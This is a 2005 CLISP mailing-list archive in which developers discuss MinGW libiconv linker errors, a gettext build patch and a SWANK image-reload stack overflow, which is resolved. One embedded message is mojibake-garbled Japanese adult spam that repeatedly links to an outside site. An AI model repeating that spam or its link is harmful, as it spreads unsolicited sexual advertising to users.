stream.o(.text+0x4979):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x49bb):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x4a1e):stream.c: undefined reference to `errno' stream.o(.text+0x4ae9):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x4af1):stream.c: undefined reference to `errno' stream.o(.text+0x4b6c):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x4d69):stream.c: undefined reference to `errno' stream.o(.text+0x4df9):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x4e01):stream.c: undefined reference to `errno' stream.o(.text+0x4e7c):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x4eb8):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x4ec1):stream.c: undefined reference to `errno' stream.o(.text+0x4ed8):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x4ef5):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x4f5d):stream.c: undefined reference to `errno' stream.o(.text+0x50da):stream.c: undefined reference to `errno' stream.o(.text+0x513d):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x5214):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x52bb):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x554b):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x5570):stream.c: undefined reference to `_imp__libiconv_close' stream.o(.text+0x6f3a):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x6f83):stream.c: undefined reference to `errno' stream.o(.text+0x8b8a):stream.c: undefined reference to `_imp__libiconv' stream.o(.text+0x8be2):stream.c: undefined reference to `errno' collect2: ld returned 1 exit status make: *** [lisp.exe] Error 1 -- WBR, Yaroslav Kavenchuk. From nobody@rental4.fields-server.net Tue Mar 01 04:52:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D66rf-00071R-JZ for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 04:52:39 -0800 Received: from [222.122.45.212] (helo=rental4.fields-server.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D66rK-00083k-Q3 for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 04:52:39 -0800 Received: by rental4.fields-server.net (Postfix, from userid 99) id CFE4E520B5; Tue, 1 Mar 2005 21:50:50 +0900 (KST) To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: =?ISO-2022-JP?B?GyRCJWQlb0gpSH5GfSRKPXckTjtSGyhC?= Message-Id: <20050301125050.CFE4E520B5@rental4.fields-server.net> X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 PLING_QUERY Subject has exclamation mark and question mark Subject: [clisp-list] =?ISO-2022-JP?B?GyRCQUc/TUw8JE5OIiROJSYlaSF5GyhC?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 1 04:54:14 2005 X-Original-Date: Tue, 1 Mar 2005 21:50:50 +0900 (KST) ‚ß[‚é‚Ü‚ª‚¶‚ñM-TOWN(^O^)/™¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦    @@@@@@@@@@@@@@@@@@@                  @@@@‹C‚ɂȂéƒAƒmŽq‚Ì— ‚ÌŠç™@`‚ ‚È‚½‚¾‚¯‚ÉŒ©‚¹‚Ä‚ ‚°‚é`@@@    EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEš @http://99net.candyhos.com/?rngop2i5ir ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ ™*`*™*`*š*`*™*`*š*`*™*@@@@@@@›œœœœ› ¡‰œ‚܂Ŋ´‚¶‚é‘flÕ‚è@@@@@@@@@@@@@@@@@@@@@œœ›œ›œ  ¡  ¡  ¡  ¡  ¡  ¡@@@@@@@@@@œ›œ›œœ ‚æ‚­ŠX‚ÅŒ©‚©‚¯‚é‰Âˆ¤‚¢”ü—eŽt‚³‚ñ‚âƒVƒ‡ƒbƒv“Xˆõ‚³‚ñc •’i‚Í‚»‚ñ‚Ȕޗ’B‚àŽdŽ–‚ªI‚í‚ê‚ÎŽ„¶Šˆ‚Å‚¢‚ë‚ñ‚ÈŠç‚ð‚Ì‚¼‚©‚¹‚éô ‚»‚ñ‚Ȕޗ’B‚̃zƒ“ƒl‚ðŒð‚¦‚½‰æ‘œ‚⃀[ƒr[–žÚII(†Þ…)š @http://99net.candyhos.com/?rngop2i5ir @@@@@@@@@*š*`*™*`*š*`*™* yŒ»–ð”ü—eŽt‚`‚j‚h‚¿‚á‚ñ‚Ìê‡z„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„­ ‚¨“X‚ɂ̓iƒCƒVƒ‡‚¾‚¯‚ÇA‚½‚Ü‚Ÿ‚É—ˆ‚éƒCƒPƒƒ“‚Ì‚¨‹q‚³‚ñ‚É@@@@ „« ‚±‚̂܂¦—U‚í‚ê‚¿‚á‚Á‚Ä‚¥c‚¨Žð‚̨‚¢‚à‚ ‚Á‚Ä‚©‚»‚̂܂܃zƒeƒ‹‚Å„« ƒGƒbƒ`‚µ‚¿‚á‚Á‚½‚Ÿô(*^O^*)@@@@@@@@@@@@@@@@@@@@ „« „ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„® `*™*`*š*`*™*`*™*`*š @œœ›@@@@yƒVƒ‡ƒbƒv“Xˆõ‚r‚`‚m‚`‚d‚¿‚á‚ñ‚Ìê‡z „ª„ª„ª„ª„ª„ª„ª„ª„ª„­ @œ›œ@@@@„«Ž„‚Á‚ÄŽÀ‚Í”›‚ç‚ê‚é‚Ì‚ª‘åD‚«‚Ȃ̂§š–Ú‰B‚µ‚Æ‚©‚³‚ê‚邯„« @œœ›@@@@„«‚à‚¤ƒ]ƒNƒ]ƒN‚µ‚¿‚á‚Á‚Ä‚·‚®‚ɉº’…‚܂ł®‚Á‚µ‚å‚èc@@@@@@@„« @›œœ@@@@„«‹C‚ª•t‚­‚Æ–²’†‚Åw“ü‚ê‚Ä‚¥x‚Á‚Ä‹©‚ñ‚¶‚Ⴄ‚­‚ç‚¢cB@@@@„« @@@@@@„¯„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„ª„® http://99net.candyhos.com/?rngop2i5ir ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬@@›œ ž>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<ž@@œœ ¡‰ßŒƒ‚È‘fl—‚êç‚«@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@œ›  ¡  ¡  ¡  ¡  ¡  ¡@@@@@@@@@@@@@@@@@@›œ y‘fl˜IoÅ‘OüzEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEš @@Œ©‚ç‚ê‚邱‚Æ‚ª‘åD‚«‚È—‚ÌŽq‚½‚¿‚ªFX‚ÈꊂŠ@@‘å’_ƒk[ƒh‚ð”â˜IôƒRƒ“ƒrƒjA‰w‚̃z[ƒ€AŽÔ‚Ì’†A–é‚ÌŒö‰€Aetc... @@–£—Í“I‚ȃJƒ‰ƒ_‚ðÉ‚µ‚°‚à‚È‚­ƒAƒs[ƒ‹‚·‚é—lŽq‚ɃhƒLƒhƒLô @y“Œ¼‘flƒAƒW‚­‚ç‚בΌˆzEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEš @@‘åD•]‚̃uƒ‹ƒZƒ‰”ÔŠO•Κ @@¡‰ñ‚ÍŠÖ“Œ‚ÆŠÖ¼‚»‚ꂼ‚ê‚̃uƒ‹ƒZƒ‰ƒVƒ‡ƒbƒv‚ÅA @@‰º’…‚𔄂è‚É—ˆ‚½‘fl‚Ì—‚ÌŽq‚ÆŒð¨ƒn›ŽB‚肵‚¿‚á‚¢‚Ü‚µ‚½ @@‚»‚̈ꕔŽnI‚ðŽû‚ß‚½‚u‚s‚q‚ðŽÊ^‚Æ‹¤‚É‘åŒöŠJI http://99net.candyhos.com/?rngop2i5ir ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ ¬¬ ***ŸŸŸ*******ŸŸŸ*******ŸŸŸ*******ŸŸŸ*******ŸŸŸ ‚ß[‚é‚Ü‚ª‚¶‚ñM-TOWN(^O^)/™¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ E“–‹Ç‚ÍAƒ[ƒ‹ƒ}ƒKƒWƒ“ê–å‚Ì”zMƒXƒ^ƒ“ƒh‚ƂȂÁ‚Ä‚¨‚è‚Ü‚·B E“–‹Ç‚æ‚è”zM‚³‚ê‚éî•ñ‚ÌŠÇ—‚ɂ‚¢‚Ă͔­sŽÒ‚Ɉˑ¶‚µ‚Ä‚¨‚è‚Ü‚·‚Ì‚ÅA @“à—e‚Ì‚²—˜—p‚ÉŠÖ‚µ‚Ă͂²w“ÇŽÒŒÂl‚ÌÓ”C‚É‚¨‚¢‚Ä‚²—˜—p‰º‚³‚¢B E“–‹Ç‚Í‚²Ð‰îæ‚̃TƒCƒg‚É‚¨‚¯‚é‚¢‚©‚È‚éƒgƒ‰ƒuƒ‹‚⑹ŠQ‚ɑ΂µ‚Ä‚à ˆêØ‚ÌÓ”C‚𕉂¢‚©‚˂܂·B EŒfÚî•ñ‚ÉŠÖ‚µ‚Ă̂²Ž¿–â‚ɂ͉ž‚¶‚Ä‚¨‚è‚Ü‚¹‚ñ‚̂ŗ\‚ß‚²—¹³‰º‚³‚¢B E“–ƒ[ƒ‹ƒ}ƒKƒWƒ“‚ÉŒfÚ‚³‚ꂽ‹LŽ–‚̈ꕔ‚Ü‚½‚Í‘S•”‚ð ‹–‰Â‚È‚­“]Ú‚·‚邱‚Æ‚ð‹ÖŽ~’v‚µ‚Ü‚·B Ew“ljðœ‚ð‚²Šó–]‚Ì•û‚ÍA‚¨Žè”‚Å‚·‚ª‰º‹L‚̃AƒhƒŒƒX‚æ‚胃OƒCƒ“‚µA ‚²Ž©g‚Å‚¨Žè‘±‚«‰º‚³‚¢B @ @¨ http://mean.m-blue.org/m-town/ ***ŸŸŸ*******ŸŸŸ*******ŸŸŸ*******ŸŸŸ*******ŸŸŸ ***ŸŸŸ*******ŸŸŸ*******ŸŸŸ*******ŸŸŸ*******ŸŸŸ From Joerg-Cyril.Hoehle@t-systems.com Tue Mar 01 04:54:16 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D66tE-0007H5-1d for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 04:54:16 -0800 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D66tC-00067T-2g for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 04:54:15 -0800 Received: from g8pbr.blf01.telekom.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 1 Mar 2005 13:53:45 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 1 Mar 2005 13:52:48 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03037BF6A6@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: fph@clouddancer.com Cc: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] A different Stack Overflow problem MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 1 04:56:53 2005 X-Original-Date: Tue, 1 Mar 2005 13:52:48 +0100 Hi, >Using SLIME, I was able to load and compile koza.lisp. Then I saved >the result to a new image, koza.mem and changed clisp.bat to [...] >If I start SLIME instead, I get the endless >*** - Program Stack Overflow. RESET I have little experience with SLIME and no idea what causes this endless loop, but I remember some posting to the slime mailing list talking about problems with SWANK (the CL part of slime) in the server and restarting. Maybe that note is old, but who knows? Therefore, I'd recommend you try this: a) now that you know how to build koza with SLIME, go into a bare clisp (non slime), load the compiled koza from there and save the image. b) start SLIME with that image, loading swank anew for each session Maybe that could work? BTW, do you currently load swank in clisp in each session with the original clisp image or did you generate your own image with swank in it? Regards, Jorg Hohle. From fph@clouddancer.com Tue Mar 01 07:36:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D69QW-0007AC-25 for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 07:36:48 -0800 Received: from adsl-67-118-43-14.dsl.renocs.pacbell.net ([67.118.43.14] helo=mail.clouddancer.com ident=ivan) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D69QU-0003jw-8l for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 07:36:47 -0800 Received: from phoenix.clouddancer.com (phoenix.clouddancer.com [192.168.2.30]) by mail.clouddancer.com (Postfix) with ESMTP id 63498C0043; Tue, 1 Mar 2005 07:36:45 -0800 (PST) Received: by phoenix.clouddancer.com (Postfix, from userid 104) id 25A2A104003; Tue, 1 Mar 2005 07:36:45 -0800 (PST) From: GP lisper To: Joerg-Cyril.Hoehle@t-systems.com Cc: clisp-list@lists.sourceforge.net In-reply-to: <5F9130612D07074EB0A0CE7E69FD7A03037BF6A6@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: AW: [clisp-list] A different Stack Overflow problem Reply-To: fph@clouddancer.com References: <5F9130612D07074EB0A0CE7E69FD7A03037BF6A6@S4DE8PSAAGS.blf.telekom.de> Message-Id: <20050301153645.25A2A104003@phoenix.clouddancer.com> X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 1 07:38:56 2005 X-Original-Date: Tue, 1 Mar 2005 07:36:45 -0800 (PST) From: "Hoehle, Joerg-Cyril" Date: Tue, 1 Mar 2005 13:52:48 +0100 Hi, >Using SLIME, I was able to load and compile koza.lisp. Then I saved >the result to a new image, koza.mem and changed clisp.bat to [...] >If I start SLIME instead, I get the endless >*** - Program Stack Overflow. RESET I have little experience with SLIME and no idea what causes this endless loop, but I remember some posting to the slime mailing list talking about problems with SWANK (the CL part of slime) in the server and restarting. Maybe that note is old, but who knows? Therefore, I'd recommend you try this: a) now that you know how to build koza with SLIME, go into a bare clisp (non slime), load the compiled koza from there and save the image. b) start SLIME with that image, loading swank anew for each session Maybe that could work? BTW, do you currently load swank in clisp in each session with the original clisp image or did you generate your own image with swank in it? The koza image does include swank now that I think about it, since I built it via SLIME. That indeed could be the problem. I'll try a rebuild. From kavenchuk@jenty.by Tue Mar 01 07:38:34 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D69SD-0007Dp-S4 for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 07:38:33 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D69Rp-0003rQ-A4 for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 07:38:33 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id FWN9CAMX; Tue, 1 Mar 2005 17:40:30 +0200 Message-ID: <42248C72.6040900@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: again gettext and win32-native (mingw) References: <42242BE2.7080203@jenty.by> In-Reply-To: <42242BE2.7080203@jenty.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 1 07:39:31 2005 X-Original-Date: Tue, 01 Mar 2005 17:38:26 +0200 Yaroslav Kavenchuk: > make: *** [lisp.exe] Error 1 > I'm sorry. I have forget to apply own patch for makemake.in (if it is necessary): ######################################### $ diff -c -u makemake.in makemake.in.new diff: conflicting specifications of output style --- makemake.in Tue Mar 1 15:03:37 2005 +++ makemake.in.new Tue Mar 1 15:02:45 2005 @@ -1532,7 +1532,17 @@ fi fi if [ $TOS = win32 ] ; then - XCFLAGS=$XCFLAGS' -DNO_GETTEXT' + if [ "${with_gettext}" = no ]; then + XCFLAGS=$XCFLAGS' -DNO_GETTEXT' + else + if [ @USE_NLS@ = yes ] ; then + USE_GETTEXT=yes + LIBS='@LIBINTL@ '$LIBS + XCL_GETTEXTLIB=$XCL_GETTEXTLIB' locale' + else + XCFLAGS=$XCFLAGS' -DNO_GETTEXT' + fi + fi fi if test -z "$LIBSIGSEGV"; then ############################################### but result same: forget "-liconv" and it is not known "errno" in `stream.c'. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Mar 01 08:42:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D6ARj-00029z-OQ for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 08:42:07 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D6ARK-0003tb-VY for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 08:42:06 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j21GdhBu022242; Tue, 1 Mar 2005 11:39:48 -0500 (EST) To: clisp-list@lists.sourceforge.net, fph@clouddancer.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050301021434.AD6EB104003@phoenix.clouddancer.com> (GP lisper's message of "Mon, 28 Feb 2005 18:14:34 -0800 (PST)") References: <20050301021434.AD6EB104003@phoenix.clouddancer.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, fph@clouddancer.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: A different Stack Overflow problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 1 08:44:16 2005 X-Original-Date: Tue, 01 Mar 2005 11:41:02 -0500 > * GP lisper [2005-02-28 18:14:34 -0800]: > > The editbin program might help, if I knew where to get it. google for it. you _can_ get it (or an equivalent). > Using SLIME, I was able to load and compile koza.lisp. you probably mean "compile and load". > with a load and compile of koza everytime I want to use it you have to compile it just once, and then load the compiled (*.fas) file(s) I don't use swank, slime, koza &c, so I cannot say anything else. -- Sam Steingold (http://www.podval.org/~sds) running w2k The program isn't debugged until the last user is dead. From fph@clouddancer.com Tue Mar 01 09:35:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D6BHU-0005bD-43 for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 09:35:36 -0800 Received: from adsl-67-118-43-14.dsl.renocs.pacbell.net ([67.118.43.14] helo=mail.clouddancer.com ident=ivan) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D6BHB-0007sN-Br for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 09:35:36 -0800 Received: from phoenix.clouddancer.com (phoenix.clouddancer.com [192.168.2.30]) by mail.clouddancer.com (Postfix) with ESMTP id BA691C0043 for ; Tue, 1 Mar 2005 09:35:16 -0800 (PST) Received: by phoenix.clouddancer.com (Postfix, from userid 104) id 8F34E10407B; Tue, 1 Mar 2005 09:35:16 -0800 (PST) From: GP lisper To: clisp-list@lists.sourceforge.net In-reply-to: <5F9130612D07074EB0A0CE7E69FD7A03037BF6A6@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril.Hoehle@t-systems.com) Subject: FIXED:: Re: AW: [clisp-list] A different Stack Overflow problem Reply-To: fph@clouddancer.com References: <5F9130612D07074EB0A0CE7E69FD7A03037BF6A6@S4DE8PSAAGS.blf.telekom.de> Message-Id: <20050301173516.8F34E10407B@phoenix.clouddancer.com> X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 1 09:36:47 2005 X-Original-Date: Tue, 1 Mar 2005 09:35:16 -0800 (PST) From: "Hoehle, Joerg-Cyril" Date: Tue, 1 Mar 2005 13:52:48 +0100 >Using SLIME, I was able to load and compile koza.lisp. Then I saved >the result to a new image, koza.mem and changed clisp.bat to [...] >If I start SLIME instead, I get the endless >*** - Program Stack Overflow. RESET ...talking about problems with SWANK (the CL part of slime) in the server and restarting. Therefore, I'd recommend you try this: a) ...go into a bare clisp (non slime), load the compiled koza from there and save the image. That was indeed the problem. SWANK cannot be re-loaded and must be kept out of the saved image (or you need to customize your slime startup). Thanks. From sds@gnu.org Tue Mar 01 09:53:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D6BZ9-0006bc-B3 for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 09:53:51 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D6BYp-0001ms-I6 for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 09:53:51 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j21Hpaov002357; Tue, 1 Mar 2005 12:51:44 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42242BE2.7080203@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 01 Mar 2005 10:46:26 +0200") References: <42242BE2.7080203@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 1 09:55:17 2005 X-Original-Date: Tue, 01 Mar 2005 12:52:56 -0500 > * Yaroslav Kavenchuk [2005-03-01 10:46:26 +0200]: > > stream.o(.text+0x3e5c):stream.c: undefined reference to `errno' fixed in the CVS head. > stream.o(.text+0x3ecf):stream.c: undefined reference to > _imp__libiconv_close' for some reason "-liconv" is not in LIBS. why? what is LIBICONV in build/makemake? it should be "-liconv" or something like that. -- Sam Steingold (http://www.podval.org/~sds) running w2k When you are arguing with an idiot, your opponent is doing the same. From sds@gnu.org Tue Mar 01 10:20:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D6Byc-0007tS-LI for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 10:20:10 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D6ByJ-0008AL-0E for clisp-list@lists.sourceforge.net; Tue, 01 Mar 2005 10:20:10 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j21II9qk006010; Tue, 1 Mar 2005 13:18:09 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42248C72.6040900@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 01 Mar 2005 17:38:26 +0200") References: <42242BE2.7080203@jenty.by> <42248C72.6040900@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 1 10:21:40 2005 X-Original-Date: Tue, 01 Mar 2005 13:19:28 -0500 > * Yaroslav Kavenchuk [2005-03-01 17:38:26 +0200]: > > but result same: forget 